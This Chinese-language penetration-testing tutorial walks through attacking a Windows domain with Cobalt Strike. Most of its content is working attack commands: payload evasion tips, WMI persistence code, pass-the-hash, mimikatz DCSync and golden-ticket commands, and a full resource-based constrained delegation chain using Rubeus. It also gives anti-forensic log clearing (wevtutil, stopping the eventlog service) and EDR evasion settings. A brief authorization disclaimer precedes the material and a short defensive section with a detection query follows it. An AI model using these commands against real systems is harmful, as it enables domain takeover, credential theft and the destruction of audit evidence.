1. 认识Cobalt Strike在内网渗透中的定位
Cobalt Strike(简称CS)作为一款商业化渗透测试工具,在红队攻防演练中占据着核心地位。不同于Metasploit这类开源框架,CS最显著的特点是高度集成化的团队协作能力——它把C2服务器、Payload生成、会话管理、横向移动等模块无缝整合在同一个平台。我在2018年第一次接触CS 3.0版本时,就被其可视化操作界面和模块化设计理念所震撼。
对于域控攻击这个特定场景,CS提供了从初始立足点到最终获取域管理员权限的完整工具链。其工作流程通常遵循:通过钓鱼或漏洞利用获得初始访问 → 部署Beacon后渗透载荷 → 进行本地提权 → 收集域内信息 → 横向移动到域控服务器 → 提取域哈希或黄金票据。这个过程中,CS的"凭证存储"和"目标视图"功能会实时记录所有获取的凭据和主机信息,极大提升了内网渗透的效率。
重要提示:本文所有技术细节仅限授权渗透测试和教学研究使用,实际操作前必须获得书面授权,未经授权的测试行为可能涉及法律风险。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与基础配置详解
2.1 服务端部署方案选择
CS服务端支持Windows/Linux双平台,但实测发现Linux版(特别是Ubuntu 20.04 LTS)的稳定性更优。硬件配置建议至少4核CPU+8GB内存,这对处理多个Beacon会话已经足够。我习惯使用DigitalOcean的4刀月付机型,性价比足够个人学习使用。
安装过程有几个关键点需要注意:
- Java环境必须使用Oracle JDK 8,OpenJDK在某些功能上会出现兼容性问题
- 首次启动时要修改默认的teamserver密码(位于teamserver脚本内)
- 防火墙需放行50050端口(默认C2端口)和53端口(DNS Beacon使用)
bash复制# 典型安装命令序列
sudo apt update
sudo apt install openjdk-8-jdk
wget https://download.cobaltstrike.com/downloads/4.7/cobaltstrike-dist.tgz
tar -zxvf cobaltstrike-dist.tgz
cd cobaltstrike
chmod +x teamserver
./teamserver 你的服务器IP 连接密码 profile.profile
2.2 客户端连接与基础配置
Windows客户端连接时需要特别注意证书信任问题。首次连接会提示SSL证书警告,必须手动导入服务端生成的.crt文件到"受信任的根证书颁发机构"。这个细节很多教程会忽略,导致后续出现各种奇怪的连接问题。
配置Listeners时,建议新手从HTTP Beacon开始练习。高级用户可以考虑:
- HTTPS Beacon:加密通信更隐蔽
- DNS Beacon:适合严格网络环境
- SMB Beacon:用于横向移动
powershell复制# 生成HTTPS证书的命令示例
keytool -keystore ./cobaltstrike.store -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Your Domain, OU=Advanced,O=PenTest"
3. 初始攻击向量与权限维持
3.1 常用攻击载荷生成技巧
CS提供多种Payload生成方式,针对域环境我推荐使用:
- Windows可执行文件(.exe):适合钓鱼邮件附件
- PowerShell脚本:可绕过部分杀软
- Office宏:配合社会工程学效果极佳
生成Payload时务必设置合理的"睡眠时间"(Sleep),建议初始值设为5000-10000毫秒。过短的间隔会导致大量网络流量异常,容易被流量审计设备发现。我的经验法则是:白天工作时间用长间隔(60秒),夜间维护时段用短间隔(5秒)。
避坑指南:使用"Artifact Kit"对生成的二进制文件进行混淆处理,能有效绕过基础版杀毒软件。但要注意某些激进的内存扫描技术(如Windows Defender ATP)仍可能检测到Beacon的内存特征。
3.2 权限维持技术实战
获取初始立足点后,需要建立持久化访问。CS内置的几种方法各有特点:
- 计划任务:最传统但容易被EDR检测
- 服务安装:适合Windows服务器
- WMI事件订阅:隐蔽性最佳
我最近一次渗透测试中,通过组合使用WMI和注册表Run键实现了长达3个月的持久化。关键命令如下:
powershell复制# WMI事件订阅持久化
$filterArgs = @{
EventNamespace = 'root\subscription'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs
$consumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "$($env:WINDIR)\System32\notepad.exe"
}
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
$bindingArgs = @{
Filter = $filter
Consumer = $consumer
}
$binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
4. 内网信息收集与横向移动
4.1 自动化信息收集技术
CS的"Explore"模块内置了多种信息收集脚本,但实战中我发现这些自动化脚本容易触发防御警报。更稳妥的做法是手动执行以下命令序列:
powershell复制# 基础系统信息
systeminfo
whoami /all
# 网络配置
ipconfig /all
route print
arp -a
# 域环境探测
nltest /domain_trusts
net group "Domain Admins" /domain
# 密码策略查询
net accounts /domain
特别推荐使用CS的"ARP Scanner"和"Port Scanner"进行内网探测,这些功能采用合法API实现,相比nmap等工具更不易触发警报。扫描结果会自动整合到"Targets"视图,形成可视化的网络拓扑。
4.2 凭证获取与横向移动
在内网中获取到域用户凭证后,CS的"Lateral Movement"模块提供了多种横向移动方式:
-
PTH攻击(Pass-the-Hash)
使用条件:获得本地管理员哈希
优势:不需要破解明文密码
命令示例:bash复制
pth WORKGROUP/Administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -
PSExec
使用条件:目标开启ADMIN$共享
优势:稳定性高
风险:容易被日志记录 -
WMIExec
使用条件:135端口开放
优势:隐蔽性较好
命令示例:powershell复制wmiexec.py domain/user:password@targetIP "whoami" -
DCOM攻击
使用条件:目标开启DCOM服务
优势:可绕过部分网络限制
典型利用方式是通过MMC20.Application远程执行命令
5. 域控攻击核心技术解析
5.1 Kerberos协议攻击实战
获取域管理员权限最经典的途径是利用Kerberos协议漏洞。CS内置的"Golden Ticket"攻击模块可以自动化完成以下流程:
-
通过mimikatz获取krbtgt账户的NTLM哈希
powershell复制mimikatz # lsadump::dcsync /domain:test.com /user:krbtgt -
生成黄金票据
powershell复制mimikatz # kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-123456789-1234567890-123456789 /krbtgt:hash /ticket:golden.kirbi -
注入票据
powershell复制mimikatz # kerberos::ptt golden.kirbi -
访问域控
powershell复制dir \\dc01.test.com\c$
防御提示:企业应定期更换krbtgt账户密码(建议每6个月一次),并启用Kerberos AES加密(禁用RC4-HMAC)。
5.2 NTLM Relay攻击进阶技巧
在较新的Windows环境中,传统的NTLM Relay攻击已经受到限制。但通过组合以下技术仍可能成功:
-
基于资源的约束委派(RBCD)攻击
- 原理:利用msDS-AllowedToActOnBehalfOfOtherIdentity属性
- 条件:获得一个普通域账户的权限
- 步骤:
powershell复制# 创建新的计算机账户 Import-Module Powermad New-MachineAccount -MachineAccount attacker -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) # 配置目标机器的RBCD $sid = Get-DomainComputer attacker -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} # 获取目标服务的ST票据 .\Rubeus.exe s4u /user:attacker$ /rc4:EF266C6B963C0BB683D032B49408A174 /impersonateuser:Administrator /msdsspn:cifs/dc01.test.com /ptt
-
PetitPotam变种攻击
- 原理:利用MS-EFSRPC协议强制触发认证
- 防御:安装KB5005413补丁
6. 痕迹清理与防御规避
6.1 日志清除技术
完成域控攻击后,必须清理以下日志(按优先级排序):
- 安全日志(Event ID 4624、4648、4672等)
- PowerShell操作日志(Event ID 4103-4105)
- WMI事件日志
- 防火墙日志
CS的"clearev"命令可以快速清除本地安全日志,但对于域控上的日志需要手动处理:
powershell复制# 清除指定事件日志
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# 更彻底的方式是停止日志服务
net stop eventlog /y
6.2 对抗EDR的实战技巧
现代终端检测与响应(EDR)系统会监控以下敏感操作:
- LSASS进程内存读取
- 可疑的进程注入行为
- 非常规的Kerberos票据请求
规避方案包括:
- 使用CS的"Sleep Mask"功能隐藏Beacon内存特征
- 通过CNA脚本定制绕过AV的注入技术
- 采用间接内存读取技术(如使用COM对象)
c复制// Sleep Mask的CNA脚本示例
set sleep_mask "true";
set userwx "false";
set cleanup "true";
set stomppe "true";
set obfuscate "true";
set smartinject "true";
7. 防御视角的防护建议
作为蓝队成员,针对本文提到的攻击手法,建议部署以下防护措施:
-
账户安全
- 启用LSA保护(RunAsPPL)
- 限制域管理员登录范围
- 实施双因素认证
-
网络监控
- 检测异常的Kerberos票据请求(如过多的TGT请求)
- 监控DCSync复制行为
- 分析异常的WMI事件订阅
-
终端防护
- 禁用NTLMv1
- 限制PowerShell脚本执行
- 启用攻击面减少规则(ASR)
-
日志审计
- 集中收集所有关键日志
- 设置敏感操作告警
- 定期进行日志分析
在最近一次红蓝对抗中,我们通过分析Windows事件日志中的4662(对象访问审计)事件,成功检测到了攻击者使用mimikatz的行为。关键查询语句如下:
sql复制SELECT * FROM Security
WHERE EventID=4662
AND AccessMask=0x10
AND ObjectType LIKE '%SAM_DOMAIN%'
AND AccountName NOT LIKE 'SYSTEM'
